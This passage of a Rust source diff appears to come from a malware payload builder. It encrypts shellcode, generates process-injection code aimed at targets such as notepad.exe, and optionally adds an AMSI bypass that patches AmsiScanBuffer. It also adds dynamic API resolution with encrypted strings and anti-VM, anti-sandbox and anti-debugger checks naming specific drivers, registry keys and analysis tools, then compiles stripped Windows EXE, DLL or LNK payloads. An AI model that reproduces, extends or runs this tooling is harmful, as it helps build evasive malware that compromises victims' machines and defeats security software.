+ let cargo_config = super::templates::generate_cargo_config();
+ fs::write(".cargo/config.toml", cargo_config)
+}
+
+fn generate_internals_with_crypto_and_strings(
+ encryption_type: &str,
+ with_string_encryption: bool,
+ with_dynamic_resolver: bool,
+) -> io::Result<String> {
+ super::templates::generate_internals_with_api_resolver(
+ encryption_type,
+ with_string_encryption,
+ with_dynamic_resolver,
+ )
+ .map_err(io::Error::other)
+}
+
+struct EncryptionParams<'a> {
+ encrypted_shellcode: &'a [u8],
+ key_bytes: &'a [u8],
+ encryption_type: &'a str,
+}
+
+struct TechniqueParams<'a> {
+ technique: &'a Technique,
+ process: &'a str,
+}
+
+struct SourceCodeParams<'a> {
+ binary_format: &'a BinaryFormat,
+ internals_source: &'a str,
+ encryption: EncryptionParams<'a>,
+ technique_params: TechniqueParams<'a>,
+ with_api_hammering: bool,
+ with_amsi_patch: bool,
+ with_string_encryption: bool,
+ with_dynamic_function_resolver: bool,
+ with_anti_vm: bool,
+ with_anti_sandbox: bool,
+ with_anti_debugger: bool,
+ encryption_kind: Option<&'a EncryptionKind>,
+ encryption_key: Option<&'a str>,
+}
+
+fn create_string_obfuscator<'a>(
+ params: &'a SourceCodeParams,
+) -> io::Result<Box<dyn super::templates::StringObfuscation + 'a>> {
+ if !params.with_string_encryption {
+ return Ok(Box::new(super::templates::NoObfuscation));
+ }
+
+ // Note: This is a placeholder for future string encryption needs (e.g., API names)
+ // Currently no strings are encrypted in the template, but the infrastructure is ready
+ Ok(Box::new(super::templates::NoObfuscation))
+}
+
+fn generate_amsi_patch_with_encryption(
+ encryption_kind: &EncryptionKind,
+ encryption_key: &str,
+ encryption_type: &str,
+ with_string_encryption: bool,
+ with_dynamic_function_resolver: bool,
+) -> io::Result<String> {
+ if !with_string_encryption && !with_dynamic_function_resolver {
+ return Ok(super::templates::generate_amsi_patch_code());
+ }
+
+ let amsi_dll_str = "amsi.dll";
+ let amsi_scan_buffer_str = "AmsiScanBuffer";
+
+ let key = encryption_key;
+ let encryptor = create_encryptor(encryption_kind.clone(), key);
+
+ let encrypted_dll = encryptor
+ .encrypt(amsi_dll_str.as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+ let encrypted_func = encryptor
+ .encrypt(amsi_scan_buffer_str.as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+ let key_bytes = derive_key_bytes(key, encryption_kind);
+
+ let dll_array = format_bytes_as_array(&encrypted_dll);
+ let func_array = format_bytes_as_array(&encrypted_func);
+ let key_array = format_bytes_as_array(&key_bytes);
+
+ let decrypt_fn = match encryption_type {
+ "xor" => "internals::decrypt_xor",
+ "aes" => "internals::decrypt_aes",
+ "chacha20" => "internals::decrypt_chacha20",
+ "blowfish" => "internals::decrypt_blowfish",
+ _ => {
+ return Err(io::Error::other(format!(
+ "Unknown encryption type: {}",
+ encryption_type
+ )))
+ }
+ };
+
+ let expect_clause = if encryption_type == "xor" {
+ ""
+ } else {
+ ".expect(\"Failed to decrypt AMSI strings\")"
+ };
+
+ if with_dynamic_function_resolver {
+ // Encrypt the DLL and function names
+ let load_library_dll_encrypted = encryptor
+ .encrypt("kernel32.dll".as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+ let load_library_fn_encrypted = encryptor
+ .encrypt("LoadLibraryA".as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+ let get_proc_address_dll_encrypted = encryptor
+ .encrypt("kernel32.dll".as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+ let get_proc_address_fn_encrypted = encryptor
+ .encrypt("GetProcAddress".as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+ let virtual_protect_dll_encrypted = encryptor
+ .encrypt("kernel32.dll".as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+ let virtual_protect_fn_encrypted = encryptor
+ .encrypt("VirtualProtect".as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+ let load_library_resolver = super::templates::generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "LoadLibraryA",
+ encryption_type,
+ "load_library_a",
+ "DECRYPTION_KEY",
+ &load_library_dll_encrypted,
+ &load_library_fn_encrypted,
+ )
+ .map_err(io::Error::other)?;
+
+ let get_proc_address_resolver = super::templates::generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "GetProcAddress",
+ encryption_type,
+ "get_proc_address",
+ "DECRYPTION_KEY",
+ &get_proc_address_dll_encrypted,
+ &get_proc_address_fn_encrypted,
+ )
+ .map_err(io::Error::other)?;
+
+ let virtual_protect_resolver = super::templates::generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "VirtualProtect",
+ encryption_type,
+ "virtual_protect",
+ "DECRYPTION_KEY",
+ &virtual_protect_dll_encrypted,
+ &virtual_protect_fn_encrypted,
+ )
+ .map_err(io::Error::other)?;
+
+ let load_library_cast = super::templates::generate_function_type_and_cast(
+ "load_library_a",
+ "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void",
+ );
+
+ let get_proc_address_cast = super::templates::generate_function_type_and_cast(
+ "get_proc_address",
+ "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void"
+ );
+
+ let virtual_protect_cast = super::templates::generate_function_type_and_cast(
+ "virtual_protect",
+ "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32",
+ );
+
+ let dll_resolver = format!(
+ r#"const ENCRYPTED_AMSI_DLL: &[u8] = &{};
+ let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, &DECRYPTION_KEY){};"#,
+ dll_array, decrypt_fn, expect_clause
+ );
+
+ let func_resolver = format!(
+ r#"const ENCRYPTED_AMSI_FUNC: &[u8] = &{};
+ let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, &DECRYPTION_KEY){};"#,
+ func_array, decrypt_fn, expect_clause
+ );
+
+ Ok(
+ super::templates::generate_amsi_patch_code_with_dynamic_resolver(
+ super::templates::AmsiDynamicResolverParams {
+ dll_resolver: &dll_resolver,
+ func_resolver: &func_resolver,
+ load_library_resolver: &load_library_resolver,
+ load_library_cast: &load_library_cast,
+ get_proc_address_resolver: &get_proc_address_resolver,
+ get_proc_address_cast: &get_proc_address_cast,
+ virtual_protect_resolver: &virtual_protect_resolver,
+ virtual_protect_cast: &virtual_protect_cast,
+ },
+ ),
+ )
+ } else {
+ Ok(
+ super::templates::generate_amsi_patch_code_with_string_encryption(
+ &dll_array,
+ &func_array,
+ &key_array,
+ decrypt_fn,
+ expect_clause,
+ ),
+ )
+ }
+}
+
+fn encrypt_string_for_evasion(
+ s: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> io::Result<String> {
+ let encrypted = encryptor
+ .encrypt(s.as_bytes())
+ .map_err(|e| io::Error::other(format!("Failed to encrypt string: {}", e)))?;
+ Ok(format_bytes_as_array(&encrypted))
+}
+
+const SANDBOX_CHECK_PATH: &str = "C:\\Windows\\System32";
+
+fn generate_evasion_code_with_encryption(
+ params: &SourceCodeParams,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> io::Result<String> {
+ let mut evasion_code = String::new();
+ evasion_code.push_str(&crate::evasion::generate_evasion_externs());
+
+ let decrypt_fn = super::templates::get_decrypt_function(params.encryption.encryption_type)
+ .map_err(io::Error::other)?;
+ let expect_clause = super::templates::get_expect_clause(params.encryption.encryption_type);
+
+ if params.with_anti_vm {
+ let vm_dlls = [
+ "vmGuestLib.dll\0",
+ "vboxmrxnp.dll\0",
+ "VBoxHook.dll\0",
+ "vmmouse.sys\0",
+ "vmhgfs.dll\0",
+ ];
+ let vm_dll_arrays: Vec<String> = vm_dlls
+ .iter()
+ .map(|s| encrypt_string_for_evasion(s, encryptor))
+ .collect::<Result<Vec<_>, _>>()?;
+
+ let vm_registry_keys = [
+ r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
+ r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
+ r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
+ r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
+ r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
+ r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
+ ];
+ let vm_registry_arrays: Vec<String> = vm_registry_keys
+ .iter()
+ .map(|s| encrypt_string_for_evasion(s, encryptor))
+ .collect::<Result<Vec<_>, _>>()?;
+
+ let vm_processes = [
+ "vmtoolsd.exe",
+ "vmwaretray.exe",
+ "vmwareuser.exe",
+ "VGAuthService.exe",
+ "vmacthlp.exe",
+ "vboxservice.exe",
+ "vboxtray.exe",
+ "xenservice.exe",
+ "qemu-ga.exe",
+ ];
+ let vm_process_arrays: Vec<String> = vm_processes
+ .iter()
+ .map(|s| encrypt_string_for_evasion(s, encryptor))
+ .collect::<Result<Vec<_>, _>>()?;
+
+ let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
+ let vm_vendor_arrays: Vec<String> = vm_vendors
+ .iter()
+ .map(|s| encrypt_string_for_evasion(s, encryptor))
+ .collect::<Result<Vec<_>, _>>()?;
+
+ evasion_code.push_str(&crate::evasion::anti_vm_checks_with_encryption(
+ &vm_dll_arrays,
+ &vm_registry_arrays,
+ &vm_process_arrays,
+ &vm_vendor_arrays,
+ decrypt_fn,
+ expect_clause,
+ ));
+ }
+
+ if params.with_anti_sandbox {
+ let file_path_array = encrypt_string_for_evasion(SANDBOX_CHECK_PATH, encryptor)?;
+ evasion_code.push_str(&crate::evasion::anti_sandbox_checks_with_encryption(
+ &file_path_array,
+ decrypt_fn,
+ expect_clause,
+ ));
+ }
+
+ if params.with_anti_debugger {
+ let debugger_parents = [
+ "devenv.exe",
+ "windbg.exe",
+ "x64dbg.exe",
+ "ollydbg.exe",
+ "ida64.exe",
+ ];
+ let debugger_parent_arrays: Vec<String> = debugger_parents
+ .iter()
+ .map(|s| encrypt_string_for_evasion(s, encryptor))
+ .collect::<Result<Vec<_>, _>>()?;
+
+ evasion_code.push_str(&crate::evasion::anti_debugger_checks_with_encryption(
+ &debugger_parent_arrays,
+ decrypt_fn,
+ expect_clause,
+ ));
+ }
+
+ Ok(evasion_code)
+}
+
+fn generate_source_code(params: SourceCodeParams) -> io::Result<String> {
+ let shellcode_array = format_bytes_as_array(params.encryption.encrypted_shellcode);
+ let key_array = if !params.encryption.key_bytes.is_empty() {
+ format_bytes_as_array(params.encryption.key_bytes)
+ } else {
+ "[]".to_string()
+ };
+ let decrypt_code = generate_decrypt_code(params.encryption.encryption_type);
+
+ let function_name = super::templates::generate_random_function_name();
+
+ let generator = get_technique_generator(params.technique_params.technique);
+
+ let technique_code = if params.with_dynamic_function_resolver {
+ if let (Some(encryption_kind), Some(encryption_key)) =
+ (params.encryption_kind, params.encryption_key)
+ {
+ let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
+ generator.generate_code_with_dynamic_resolver(
+ params.technique_params.process,
+ &function_name,
+ params.encryption.encryption_type,
+ encryptor.as_ref(),
+ )
+ } else {
+ return Err(io::Error::other(
+ "Encryption kind and key required for dynamic function resolver",
+ ));
+ }
+ } else if params.with_api_hammering {
+ generator.generate_code_with_hammering(params.technique_params.process, &function_name)
+ } else {
+ generator.generate_code(params.technique_params.process, &function_name)
+ };
+
+ let technique_code = generator.add_debug_context(technique_code);
+
+ if let Err(errors) = generator.validate_generated_code(&technique_code) {
+ let error_messages: Vec<String> = errors.iter().map(|e| e.to_string()).collect();
+ return Err(io::Error::other(format!(
+ "Generated code validation failed for technique '{}': {}",
+ generator.name(),
+ error_messages.join("; ")
+ )));
+ }
+
+ let string_obfuscator = create_string_obfuscator(¶ms)?;
+
+ let amsi_patch_code = if params.with_amsi_patch {
+ if let (Some(encryption_kind), Some(encryption_key)) =
+ (params.encryption_kind, params.encryption_key)
+ {
+ generate_amsi_patch_with_encryption(
+ encryption_kind,
+ encryption_key,
+ params.encryption.encryption_type,
+ params.with_string_encryption,
+ params.with_dynamic_function_resolver,
+ )?
+ } else {
+ super::templates::generate_amsi_patch_code()
+ }
+ } else {
+ String::new()
+ };
+
+ let evasion_code =
+ if params.with_anti_vm || params.with_anti_sandbox || params.with_anti_debugger {
+ if params.with_string_encryption {
+ if let (Some(encryption_kind), Some(encryption_key)) =
+ (params.encryption_kind, params.encryption_key)
+ {
+ let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
+ generate_evasion_code_with_encryption(¶ms, encryptor.as_ref())?
+ } else {
+ return Err(io::Error::other(
+ "Encryption kind and key required for evasion string encryption",
+ ));
+ }
+ } else {
+ let mut code = String::new();
+ code.push_str(&crate::evasion::generate_evasion_externs());
+ if params.with_anti_vm {
+ code.push_str(&crate::evasion::anti_vm_checks());
+ }
+ if params.with_anti_sandbox {
+ code.push_str(&crate::evasion::anti_sandbox_checks());
+ }
+ if params.with_anti_debugger {
+ code.push_str(&crate::evasion::anti_debugger_checks());
+ }
+ code
+ }
+ } else {
+ String::new()
+ };
+
+ let template_config = super::templates::TemplateConfig::builder()
+ .internals_source(params.internals_source)
+ .shellcode_array(&shellcode_array)
+ .key_array(&key_array)
+ .decrypt_code(&decrypt_code)
+ .technique_code(&technique_code)
+ .technique_function_name(&function_name)
+ .with_api_hammering(params.with_api_hammering)
+ .with_amsi_patch(params.with_amsi_patch)
+ .with_string_encryption(params.with_string_encryption)
+ .with_dynamic_function_resolver(params.with_dynamic_function_resolver)
+ .with_anti_vm(params.with_anti_vm)
+ .with_anti_sandbox(params.with_anti_sandbox)
+ .with_anti_debugger(params.with_anti_debugger)
+ .encryption_type(params.encryption.encryption_type)
+ .amsi_patch_code(&amsi_patch_code)
+ .evasion_code(&evasion_code)
+ .string_obfuscator(string_obfuscator)
+ .build();
+
+ Ok(match params.binary_format {
+ BinaryFormat::Exe => super::templates::generate_exe_main_template(&template_config),
+ BinaryFormat::Dll => super::templates::generate_dll_lib_template(&template_config),
+ BinaryFormat::Lnk => String::new(), // LNK doesn't need source code
+ })
+}
+
+fn format_bytes_as_array(bytes: &[u8]) -> String {
+ if bytes.is_empty() {
+ return "[]".to_string();
+ }
+
+ use std::fmt::Write;
+ let mut result = String::with_capacity(bytes.len() * 6 + 2);
+ result.push('[');
+
+ for (i, byte) in bytes.iter().enumerate() {
+ if i > 0 {
+ result.push_str(", ");
+ }
+ write!(result, "0x{:02x}", byte).unwrap();
+ }
+
+ result.push(']');
+ result
+}
+
+/// Verify that a binary was built successfully
+///
+/// Uses the goblin crate to parse and verify the binary format.
+/// With Cargo's profile.release.strip = true, binaries are automatically
+/// stripped during compilation, so no post-processing is needed.
+///
+/// Works cross-platform (Linux/ELF, macOS/Mach-O, Windows/PE).
+///
+/// # Arguments
+///
+/// * `binary_path` - Path to the binary to verify
+///
+/// Returns `Ok(())` if the binary is valid, otherwise returns an error.
+pub fn verify_binary(binary_path: &Path) -> io::Result<()> {
+ let binary_data = fs::read(binary_path)?;
+
+ goblin::Object::parse(&binary_data)
+ .map_err(|e| io::Error::other(format!("Failed to parse binary: {}", e)))?;
+
+ Ok(())
+}
+
+/// Build the Rust project in release mode
+///
+/// Executes `cargo build --release` in the current directory.
+/// The compiled binary will be in `target/release/`.
+///
+/// # Arguments
+///
+/// * `project_name` - The name of the project (used to find the binary)
+/// * `binary_format` - The binary format (EXE or DLL)
+///
+/// Returns the path to the compiled binary if successful, otherwise returns an error.
+pub fn build_release(project_name: &str, binary_format: &BinaryFormat) -> io::Result<PathBuf> {
+ // LNK files are generated directly, no build needed
+ if matches!(binary_format, BinaryFormat::Lnk) {
+ return Ok(PathBuf::from(format!("{}.lnk", project_name)));
+ }
+
+ let output = Command::new("cargo")
+ .arg("build")
+ .arg("--release")
+ .output()?;
+
+ if !output.status.success() {
+ let stderr = String::from_utf8_lossy(&output.stderr);
+ return Err(io::Error::other(format!("cargo build failed: {}", stderr)));
+ }
+
+ let has_windows_target = Path::new(".cargo/config.toml").exists();
+
+ let binary_name = if has_windows_target {
+ match binary_format {
+ BinaryFormat::Exe => format!("{}.exe", project_name),
+ BinaryFormat::Dll => format!("{}.dll", project_name),
+ BinaryFormat::Lnk => format!("{}.lnk", project_name),
+ }
+ } else {
+ match binary_format {
+ BinaryFormat::Exe => {
+ if cfg!(target_os = "windows") {
+ format!("{}.exe", project_name)
+ } else {
+ project_name.to_string()
+ }
+ }
+ BinaryFormat::Dll => {
+ if cfg!(target_os = "windows") {
+ format!("{}.dll", project_name)
+ } else if cfg!(target_os = "macos") {
+ format!("lib{}.dylib", project_name)
+ } else {
+ format!("lib{}.so", project_name)
+ }
+ }
+ BinaryFormat::Lnk => format!("{}.lnk", project_name),
+ }
+ };
+
+ let binary_path = if has_windows_target {
+ PathBuf::from("target")
+ .join("x86_64-pc-windows-gnu")
+ .join("release")
+ .join(&binary_name)
+ } else {
+ PathBuf::from("target").join("release").join(&binary_name)
+ };
+
+ if !binary_path.exists() {
+ return Err(io::Error::new(
+ io::ErrorKind::NotFound,
+ format!("Binary not found at {:?}", binary_path),
+ ));
+ }
+
+ Ok(binary_path)
+}
+
+/// Copy a binary to a target location with a specific name
+///
+/// # Arguments
+///
+/// * `source` - Path to the source binary
+/// * `dest_dir` - Directory where the binary should be copied
+/// * `dest_name` - Name for the copied binary
+///
+/// Returns the path to the copied binary if successful, otherwise returns an error.
+pub fn copy_binary(source: &Path, dest_dir: &Path, dest_name: &str) -> io::Result<PathBuf> {
+ let dest_path = dest_dir.join(dest_name);
+ fs::copy(source, &dest_path)?;
+
+ Ok(dest_path)
+}
+
+/// Complete workflow: initialize, build, and copy a Rust project
+///
+/// This is the main entry point that orchestrates the entire process:
+/// 1. Initializes a Rust project with release profile configured for stripping
+/// 2. Builds it in release mode (symbols are automatically stripped by Cargo)
+/// 3. Verifies the binary is valid
+/// 4. Copies the binary to the original working directory with the specified name
+///
+/// Note: Symbol stripping is handled by Cargo's profile.release.strip = true setting,
+/// so binaries are automatically stripped during compilation without needing post-processing.
+///
+/// # Arguments
+///
+/// * `config` - Build configuration containing all necessary parameters
+///
+/// Returns the path to the final binary if successful, otherwise returns an error.
+pub fn setup_and_build_project(config: &BuildConfig) -> io::Result<PathBuf> {
+ if matches!(config.binary_format, BinaryFormat::Lnk) {
+ let (encrypted_shellcode, _encryption_type_str, _key_bytes) = prepare_shellcode_encryption(
+ config.shellcode_data,
+ config.encryption_kind,
+ config.encryption_key,
+ )?;
+
+ let lnk_path = std::env::current_dir()?.join(config.output_name);
+
+ let default_encryption = EncryptionKind::XOR;
+ let encryption_kind = config.encryption_kind.unwrap_or(&default_encryption);
+ let encryption_key = config.encryption_key.unwrap_or("default_key");
+
+ crate::internals::lnk_generator::generate_lnk_file(
+ &encrypted_shellcode,
+ &lnk_path,
+ encryption_kind,
+ config.technique,
+ encryption_key,
+ config.process,
+ )?;
+
+ let final_path = copy_binary(&lnk_path, config.original_cwd, config.output_name)?;
+ Ok(final_path)
+ } else {
+ init_rust_project(config)?;
+ let binary_path = build_release(config.project_name, config.binary_format)?;
+ verify_binary(&binary_path)?;
+ let final_path = copy_binary(&binary_path, config.original_cwd, config.output_name)?;
+ Ok(final_path)
+ }
+}
+
+#[cfg(test)]
+fn init_rust_project_for_test(
+ project_name: &str,
+ shellcode_data: &[u8],
+ binary_format: &BinaryFormat,
+) -> io::Result<()> {
+ let encryption_kind = EncryptionKind::XOR;
+ let encryption_key = "test_key_12345";
+ let technique = Technique::CRT;
+ let process = "notepad.exe";
+
+ let (encrypted_shellcode, encryption_type_str, key_bytes) =
+ prepare_shellcode_encryption(shellcode_data, Some(&encryption_kind), Some(encryption_key))?;
+
+ write_cargo_toml(project_name, binary_format, encryption_type_str, false)?;
+
+ fs::create_dir_all("src")?;
+
+ let internals_source =
+ generate_internals_with_crypto_and_strings(encryption_type_str, false, false)?;
+ let source_code = generate_source_code(SourceCodeParams {
+ binary_format,
+ internals_source: &internals_source,
+ encryption: EncryptionParams {
+ encrypted_shellcode: &encrypted_shellcode,
+ key_bytes: &key_bytes,
+ encryption_type: encryption_type_str,
+ },
+ technique_params: TechniqueParams {
+ technique: &technique,
+ process,
+ },
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ encryption_kind: Some(&encryption_kind),
+ encryption_key: Some(encryption_key),
+ })?;
+
+ let file_name = match binary_format {
+ BinaryFormat::Exe => "src/main.rs",
+ BinaryFormat::Dll => "src/lib.rs",
+ BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
+ };
+
+ fs::write(file_name, source_code)?;
+
+ Ok(())
+}
+
+#[cfg(test)]
+fn setup_and_build_project_for_test(
+ project_name: &str,
+ output_name: &str,
+ original_cwd: &Path,
+ shellcode_data: &[u8],
+ binary_format: &BinaryFormat,
+) -> io::Result<PathBuf> {
+ init_rust_project_for_test(project_name, shellcode_data, binary_format)?;
+ let binary_path = build_release(project_name, binary_format)?;
+ verify_binary(&binary_path)?;
+ let final_path = copy_binary(&binary_path, original_cwd, output_name)?;
+ Ok(final_path)
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::TEST_DIR_MUTEX;
+ use std::env;
+
+ #[test]
+ fn test_init_rust_project() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let test_dir = env::temp_dir().join(format!("rust-project-test-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+
+ let original_dir = env::current_dir().unwrap();
+ env::set_current_dir(&test_dir).unwrap();
+
+ let shellcode = b"test shellcode";
+ let encryption_kind = EncryptionKind::XOR;
+ let technique = Technique::CRT;
+
+ let config = BuildConfig {
+ project_name: "test_project",
+ output_name: "test_output",
+ original_cwd: &original_dir,
+ shellcode_data: shellcode,
+ binary_format: &BinaryFormat::Exe,
+ encryption_kind: Some(&encryption_kind),
+ encryption_key: Some("test_key_123"),
+ technique: &technique,
+ process: "notepad.exe",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ };
+
+ let result = init_rust_project(&config);
+ assert!(result.is_ok(), "should successfully initialize project");
+
+ assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
+ assert!(
+ Path::new("src/main.rs").exists(),
+ "src/main.rs should exist"
+ );
+
+ let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
+ assert!(
+ cargo_content.contains("test_project"),
+ "Cargo.toml should contain project name"
+ );
+
+ env::set_current_dir(&original_dir).unwrap();
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ #[ignore = "requires x86_64-pc-windows-gnu target"]
+ fn test_build_release() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let original_dir = env::current_dir().unwrap();
+
+ struct DirGuard(PathBuf);
+ impl Drop for DirGuard {
+ fn drop(&mut self) {
+ let _ = env::set_current_dir(&self.0);
+ }
+ }
+ let _guard = DirGuard(original_dir.clone());
+
+ let test_dir = env::temp_dir().join(format!("rust-build-test-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+
+ env::set_current_dir(&test_dir).unwrap();
+
+ let shellcode = b"test";
+ let encryption_kind = EncryptionKind::XOR;
+ let technique = Technique::CRT;
+
+ let config = BuildConfig {
+ project_name: "build_test",
+ output_name: "build_output",
+ original_cwd: &original_dir,
+ shellcode_data: shellcode,
+ binary_format: &BinaryFormat::Exe,
+ encryption_kind: Some(&encryption_kind),
+ encryption_key: Some("test_key_123"),
+ technique: &technique,
+ process: "notepad.exe",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ };
+
+ init_rust_project_with_target(&config).unwrap();
+ let result = build_release("build_test", &BinaryFormat::Exe);
+
+ assert!(
+ result.is_ok(),
+ "should successfully build project: {:?}",
+ result.err()
+ );
+
+ let _ = env::set_current_dir(&original_dir);
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ fn test_copy_binary() {
+ let source_dir = env::temp_dir().join(format!("copy-source-{}", rand::random::<u32>()));
+ let dest_dir = env::temp_dir().join(format!("copy-dest-{}", rand::random::<u32>()));
+ fs::create_dir_all(&source_dir).unwrap();
+ fs::create_dir_all(&dest_dir).unwrap();
+
+ let source_file = source_dir.join("test_binary");
+ fs::write(&source_file, b"fake binary content").unwrap();
+
+ let result = copy_binary(&source_file, &dest_dir, "output.exe");
+ assert!(result.is_ok(), "should successfully copy binary");
+
+ let dest_file = result.unwrap();
+ assert!(dest_file.exists(), "copied file should exist");
+ assert_eq!(
+ dest_file.file_name().unwrap(),
+ "output.exe",
+ "should have correct name"
+ );
+
+ let content = fs::read(&dest_file).unwrap();
+ assert_eq!(content, b"fake binary content", "content should match");
+
+ let _ = fs::remove_dir_all(&source_dir);
+ let _ = fs::remove_dir_all(&dest_dir);
+ }
+
+ #[test]
+ #[ignore = "requires x86_64-pc-windows-gnu target"]
+ fn test_setup_and_build_project_integration() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let saved_dir = env::current_dir().unwrap();
+
+ struct DirGuard(PathBuf);
+ impl Drop for DirGuard {
+ fn drop(&mut self) {
+ let _ = env::set_current_dir(&self.0);
+ }
+ }
+ let _guard = DirGuard(saved_dir.clone());
+
+ let work_dir = env::temp_dir().join(format!("integration-work-{}", rand::random::<u32>()));
+ let original_dir =
+ env::temp_dir().join(format!("integration-orig-{}", rand::random::<u32>()));
+ fs::create_dir_all(&work_dir).unwrap();
+ fs::create_dir_all(&original_dir).unwrap();
+
+ env::set_current_dir(&work_dir).unwrap();
+
+ let shellcode = b"test shellcode data";
+ let result = setup_and_build_project_for_test(
+ "myproject",
+ "final_binary",
+ &original_dir,
+ shellcode,
+ &BinaryFormat::Exe,
+ );
+ assert!(
+ result.is_ok(),
+ "complete workflow should succeed: {:?}",
+ result.err()
+ );
+
+ let final_binary = result.unwrap();
+ assert!(final_binary.exists(), "final binary should exist");
+ assert_eq!(
+ final_binary.file_name().unwrap(),
+ "final_binary",
+ "should have correct name"
+ );
+ assert!(
+ final_binary.parent().unwrap() == original_dir,
+ "should be in original directory"
+ );
+
+ let _ = env::set_current_dir(&saved_dir);
+ let _ = fs::remove_dir_all(&work_dir);
+ let _ = fs::remove_dir_all(&original_dir);
+ }
+
+ #[test]
+ fn test_build_release_nonexistent_project() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let original_dir = env::current_dir().unwrap();
+
+ struct DirGuard(PathBuf);
+ impl Drop for DirGuard {
+ fn drop(&mut self) {
+ let _ = env::set_current_dir(&self.0);
+ }
+ }
+ let _guard = DirGuard(original_dir.clone());
+
+ let test_dir = env::temp_dir().join(format!("no-project-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+ env::set_current_dir(&test_dir).unwrap();
+
+ let result = build_release("nonexistent", &BinaryFormat::Exe);
+ assert!(result.is_err(), "should fail when project doesn't exist");
+
+ let _ = env::set_current_dir(&original_dir);
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ fn test_copy_binary_nonexistent_source() {
+ let dest_dir = env::temp_dir().join(format!("copy-fail-{}", rand::random::<u32>()));
+ fs::create_dir_all(&dest_dir).unwrap();
+
+ let nonexistent = PathBuf::from("/nonexistent/path/binary");
+ let result = copy_binary(&nonexistent, &dest_dir, "output");
+ assert!(result.is_err(), "should fail when source doesn't exist");
+
+ let _ = fs::remove_dir_all(&dest_dir);
+ }
+
+ #[test]
+ #[ignore = "requires x86_64-pc-windows-gnu target"]
+ fn test_strip_binary() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let original_dir = env::current_dir().unwrap();
+
+ struct DirGuard(PathBuf);
+ impl Drop for DirGuard {
+ fn drop(&mut self) {
+ let _ = env::set_current_dir(&self.0);
+ }
+ }
+ let _guard = DirGuard(original_dir.clone());
+
+ let test_dir = env::temp_dir().join(format!("strip-test-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+ env::set_current_dir(&test_dir).unwrap();
+
+ let encryption_kind = EncryptionKind::XOR;
+ let technique = Technique::CRT;
+
+ let config = BuildConfig {
+ project_name: "strip_test",
+ output_name: "strip_output",
+ original_cwd: &original_dir,
+ shellcode_data: b"test",
+ binary_format: &BinaryFormat::Exe,
+ encryption_kind: Some(&encryption_kind),
+ encryption_key: Some("test_key_123"),
+ technique: &technique,
+ process: "notepad.exe",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ };
+
+ init_rust_project_with_target(&config).unwrap();
+ let binary_path = build_release("strip_test", &BinaryFormat::Exe).unwrap();
+
+ let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
+ assert!(
+ cargo_content.contains("strip = true"),
+ "Cargo.toml should contain strip = true"
+ );
+
+ let result = verify_binary(&binary_path);
+ assert!(result.is_ok(), "should successfully verify binary");
+
